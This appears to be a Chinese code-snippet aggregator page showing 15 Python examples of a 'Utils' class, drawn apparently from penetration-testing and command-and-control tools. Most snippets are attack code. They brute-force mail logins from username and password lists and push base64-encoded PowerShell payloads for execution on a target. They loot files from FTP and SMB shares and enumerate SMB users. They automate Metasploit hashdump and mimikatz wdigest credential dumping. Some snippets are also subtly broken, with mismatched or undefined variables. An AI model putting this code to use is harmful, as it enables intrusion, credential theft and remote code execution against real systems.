本文整理汇总了Python中core.utils.Utils类的典型用法代码示例。如果您正苦于以下问题:Python Utils类的具体用法?Python Utils怎么用?Python Utils使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了Utils类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: run
def run(self, argv):
# load config
self.parse_parameters(argv)
self.load_config()
# validate that all necessary flags/configs were set
# if single username and password
if (self.config["username"] and self.config["password"]):
mp.pillage(username=self.config["username"], password=self.config["password"], server=self.config["server"], servertype=self.config["servertype"], domain=self.config["domain"])
# if seperate username and password files
elif (Utils.isReadable(self.config["usernamefile"]) and Utils.isReadable(self.config["passwordfile"])):
usernames = list()
passwords = list()
with open(self.config["usernamefile"]) as f:
usernames = f.read().splitlines()
with open(self.config["passwordfile"]) as f:
passwords = f.read().splitlines()
for u in usernames:
for p in passwords:
mp.pillage(username=u, password=p, server=self.config["server"], port=int(self.config["serverport"]), domain=self.config["domain"])
elif Utils.isReadable(self.config["usernamepasswordfile"]):
# if a combined username password file
usernames = list()
with open(self.config["usernamepasswordfile"]) as f:
usernamespasswords = f.read().splitlines()
for temp in usernamepasswords:
(u, p) = temp.split(":", 1)
mp.pillage(username=u, password=p, server=self.config["server"], port=int(self.config["serverport"]), domain=self.config["domain"])
示例2: exec_code
def exec_code(self, data):
try:
cmd, path = data.split(" ", 1)
except:
UI.error("Missing arguments")
return ""
data = ";"
path = self.alias.get_alias(path)
if Utils.file_exists(path, False, False):
data = Utils.load_file_unsafe(path)
else:
data = Utils.download_url(path)
if not data == ";":
UI.success("Fetching %s" % path)
data = base64.b64encode(data)
ps = Utils.load_powershell_script("exec.ps1", 12)
ps = Utils.update_key(ps, "PAYLOAD", data)
UI.success("Payload should be executed shortly on the target")
return ps
else:
UI.error("Cannot fetch the resource")
return data
示例3: load_config
def load_config(self):
# does config file exist?
if (self.config["config_filename"] is not None):
temp1 = self.config
temp2 = Utils.loadConfig(self.config["config_filename"])
self.config = dict(temp2.items() + temp1.items())
else:
# guess not.. so try to load the default one
if Utils.is_readable("default.cfg"):
self.display.error("a CONFIG FILE was not specified... defaulting to [default.cfg]")
print
temp1 = self.config
temp2 = Utils.loadConfig("default.cfg")
self.config = dict(temp2.items() + temp1.items())
else:
# someone must have removed it!
self.display.error("a CONFIG FILE was not specified...")
print
sys.exit(1)
# set verbosity/debug level
if (self.config['verbose'] >= 1):
self.display.enableVerbose()
if (self.config['verbose'] > 1):
self.display.enableDebug()
示例4: writeMessage
def writeMessage(self, messageid, text):
filename = self.user + "_" + messageid
filename = "".join(c for c in filename if c.isalnum()).rstrip()
file_path = os.path.join(self.config["outdir"], filename)
print "Downloading message id [%s] to [%s]" % (messageid, file_path)
Utils.writeFile(text, file_path)
示例5: downloadAttachment
def downloadAttachment(self, messageid=None):
if (not self.srv):
return
if messageid:
resp, data = self.srv.fetch(messageid,
"(RFC822)") # fetching the mail, "`(RFC822)`" means "get the whole stuff",
# but you can ask for headers only, etc
email_body = data[0][1] # getting the mail content
mail = email.message_from_string(email_body) # parsing the mail content to get a mail object
# Check if any attachments at all
if mail.get_content_maintype() != 'multipart':
return
# we use walk to create a generator so we can iterate on the parts and forget about the recursive headach
for part in mail.walk():
# multipart are just containers, so we skip them
if part.get_content_maintype() == 'multipart':
continue
# is this part an attachment ?
if part.get('Content-Disposition') is None:
continue
filename = part.get_filename()
if (not filename):
continue
file_path = os.path.join(self.config["outdir"], filename)
print "Downloading attachment [%s] to [%s]" % (messageid, file_path)
Utils.writeFile(part.get_payload(decode=True), file_path, "wb")
return
示例6: searchTarget
def searchTarget(self, target, port, username, password):
success = False
# start packet capture
cap = self.pktCap(filter="tcp and port " + str(port) + " and host " + target, packetcount=10, timeout=10,
srcip="", dstip=target)
try:
if (Utils.port_open(target, 21)):
# attempt to connect to the remote host
with ftputil.FTPHost(target, username, password) as host:
success = True
# get list of files and loop over them
recursive = host.walk("/", topdown=True, onerror=None)
for root, dirs, files in recursive:
for name in files:
for pattern in self.filepatterns:
match_list = fnmatch.filter(files, pattern)
for fname in match_list:
fpath = host.path.join(root, fname)
if host.path.isfile(fpath):
host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_"))
host.close()
except ftputil.error.PermanentError:
self.display.error("Could not connect to %s on port 21" % (target))
outfile = self.config["proofsDir"] + self.shortName + "_PCAP_Port" + str(
port) + "_" + target + "_" + Utils.getRandStr(10)
Utils.writeFile(self.getPktCap(cap), outfile)
kb.add("host/" + target + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
return success
示例7: downloadAttachment
def downloadAttachment(self, messageid=None):
if (not self.srv):
return
if (not messageid):
return
(server_msg, body, octets) = self.srv.retr(messageid)
msg = email.message_from_string('\n'.join(body))
# save attach
for part in msg.walk():
if part.get_content_maintype() == 'multipart':
continue
if part.get('Content-Disposition') is None:
continue
filename = part.get_filename()
if not (filename):
continue
file_path = os.path.join(self.config["outdir"], filename)
print "Downloading attachment [%s] to [%s]" % (messageid, file_path)
Utils.writeFile(part.get_payload(decode=True), file_path, "wb")
return None
示例8: processTarget
def processTarget(self, t, port):
if not self.seentarget(t + str(port)):
self.addseentarget(t + str(port))
self.display.verbose(self.shortName + " - Connecting to " + t)
try:
conn = httplib.HTTPConnection(t, port, timeout=10)
conn.request('OPTIONS', '/')
response = conn.getresponse()
text = ""
allowed = response.getheader('allow')
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(
port) + "_" + Utils.getRandStr(10)
if (allowed):
badoptions = ['PUT', 'DELETE', 'TRACE', 'TRACK']
for badopt in badoptions:
if (allowed.contains(badopt)):
self.fire("httpOption" + badopt)
self.addVuln(t, "httpOption" + badopt,
{"port": str(port), "output": outfile.replace("/", "%2F")})
self.display.error("VULN [httpOption%s] Found on [%s:%i]" % (badopt, host, int(port)))
text = "Allowed HTTP Options for %s : %s\n\nFull Headers:\n%s" % (
t, allowed, self.print_dict(response.getheaders()))
else:
text = "Allowed HTTP Options for %s : OPTIONS VERB NOT ALLOWED\n\nFull Headers:\n%s" % (
t, self.print_dict(response.getheaders()))
Utils.writeFile(text, outfile)
except httplib.BadStatusLine:
pass
# except socket.error as e:
except:
pass
示例9: searchDir
def searchDir(self, host, conn, share, path, depth=0):
if depth > 5:
return
try:
# list the files on each share (recursivity?)
names = conn.listPath(share, path, timeout=30)
for name in names:
if name.isDirectory:
if name.filename not in [u'.', u'..']:
self.searchDir(conn, host, share, path + name.filename + '/', depth + 1)
else:
for pattern in self.filepatterns:
try:
re.compile(pattern)
result = re.match(pattern, name.filename)
if (result):
#download the file
outfile = self.config["proofsDir"] + self.shortName + "_" + host + "_" + share + "_" + name.filename.replace("/", "-") + "_" + Utils.getRandStr(10)
temp_fh = StringIO()
conn.retrieveFile(share, path + name.filename, temp_fh)
temp_fh.seek(0)
Utils.writeFile(temp_fh.getvalue(), outfile)
self.display.debug("_____ Share[" + share + "] =" + path + name.filename)
except re.error:
pass
#self.display.debug("Invalid File Pattern --> %s <--" % pattern)
except:
self.display.debug('### can not access the resource')
return
示例10: view_event
def view_event(self, data):
log_path = Utils.get_arg_at(data, 1, 2)
if log_path == "":
UI.error("Missing arguments")
return
log_path += ".log"
rows = Utils.get_arg_at(data, 2, 2)
if rows == "":
rows = 10
else:
try:
rows = int(rows)
except:
rows = 10
log_path = Log.get_current_path(log_path)
data = []
if Utils.file_exists(log_path):
for line in open(log_path, "rb").readlines():
data.append(line)
print "\nLast %d lines of log\n-----------------------\n" % rows
data = list(reversed(data))
for i in range(0, rows):
try:
print data[i]
except:
pass
示例11: process
def process(self):
# load any targets we are interested in
self.getTargets()
for t in self.targets:
sessions = kb.get('host/' + t + '/msfSession')
if len(sessions) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if msf.isAuthenticated():
# loop over each target
for s in sessions:
# verify we have not tested this session before
if not self.seentarget(s):
# add the new IP to the already seen list
self.addseentarget(s)
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("getuid\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
outfile = self.config[
"proofsDir"] + self.shortName + "_GetUid_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
for line in text.splitlines():
m = re.match(r'^\s*Server username: (.*)\s*', line)
if (m):
self.display.verbose("Metasploit Session [" + s +
"] running as user [" + m.group(1).strip() + "]")
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("sysinfo\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
outfile = self.config[
"proofsDir"] + self.shortName + "_SysInfo_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
for line in text.splitlines():
m = re.match(r'^\s*OS\s\s*: (.*)\s*', line)
if (m):
self.display.verbose("Metasploit Session [" + s +
"] running on OS [" + m.group(1).strip() + "]")
# clean up after ourselves
result = msf.cleanup()
return
示例12: processTarget
def processTarget(self, t, port):
if not self.seentarget(t + str(port)):
self.addseentarget(t + str(port))
self.display.verbose(self.shortName + " - Connecting to " + t)
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + str(port) + "_" + Utils.getRandStr(
10) + ".png"
url = "http://" + t + ":" + str(port)
Utils.webScreenCap(url, outfile)
示例13: process
def process(self):
# load any targets we are interested in
self.getTargets()
if len(self.targets) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if not msf.isAuthenticated():
return
# loop over each target
for t in self.targets:
# verify we have not tested this host before
if not self.seentarget(t):
# add the new IP to the already seen list
self.addseentarget(t)
self.display.verbose(self.shortName + " - Connecting to " + t)
msf.execute("use auxiliary/scanner/smb/smb_enumusers\n")
msf.execute("set RHOSTS %s\n" % t)
msf.execute("run\n")
# msf.sleep(int(self.config['msfexploitdelay']))
result = msf.getResult()
while (re.search(".*execution completed.*", result) is None):
result = result + msf.getResult()
# TODO - process results and store user list to KB
# need to do something better with this.
# loop over each user and store in the KB
# if local, store in "/host/" + t + "/user/" + user
# if domain, store in "/domain/" + domainname + "/user/" + user
# for now, just print out the results
# MSF output format:[*] [timestamp] IP DOMAIN [user,users] ( extras)
parts = re.findall(".*" + t.replace(".", "\.") + ".*", result)
for part in parts:
if "RHOSTS" in part:
pass
else:
try:
pieces = part.split()
domain = pieces[3]
kb.add("domain/" + domain.strip() + "/host/" + t)
extras = part.split('(')[1].split(')')[0]
users = part.split('[')[3].split(']')[0].split(',')
for user in users:
kb.add("host/" + t + "/user/" + user.strip())
except:
pass
outfile = self.config["proofsDir"] + self.shortName + "_" + t + "_" + Utils.getRandStr(10)
Utils.writeFile(result, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# clean up after ourselves
result = msf.cleanup()
return
示例14: process
def process(self):
# load any targets we are interested in
self.getTargets()
for t in self.targets:
sessions = kb.get('shell/' + t + '/msf')
if len(sessions) > 0:
# connect to msfrpc
msf = myMsf(host=self.config['msfhost'], port=self.config['msfport'], user=self.config['msfuser'],
password=self.config['msfpass'])
if msf.isAuthenticated():
# loop over each target
for s in sessions:
# verify we have not tested this session before
if not self.seentarget(s):
# add the new IP to the already seen list
self.addseentarget(s)
myMsf.lock.acquire()
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("hashdump\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
msf.sleep(int(self.config['msfexploitdelay']))
# TODO - process results and store results in KB
# regex match on [^:]+:[^:]+:[^:]+:[^:]+:::
outfile = self.config[
"proofsDir"] + self.shortName + "_HashDump_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
myMsf.lock.release()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
msf.execute("sessions -i " + str(s) + "\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("load mimikatz\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("wdigest\n")
msf.sleep(int(self.config['msfexploitdelay']))
msf.execute("background\n")
# TODO - process results and store results in KB
outfile = self.config[
"proofsDir"] + self.shortName + "_Mimikatz_" + t + "_" + Utils.getRandStr(
10)
text = msf.getResult()
Utils.writeFile(text, outfile)
kb.add("host/" + t + "/files/" + self.shortName + "/" + outfile.replace("/", "%2F"))
# clean up after ourselves
result = msf.cleanup()
return
示例15: powerless
def powerless(self, data):
try:
cmd, ps_cmd = data.split(" ", 1)
except:
UI.error("Missing arguments")
return ""
ps = Utils.load_powershell_script("powerless.ps1", 22)
ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
return ps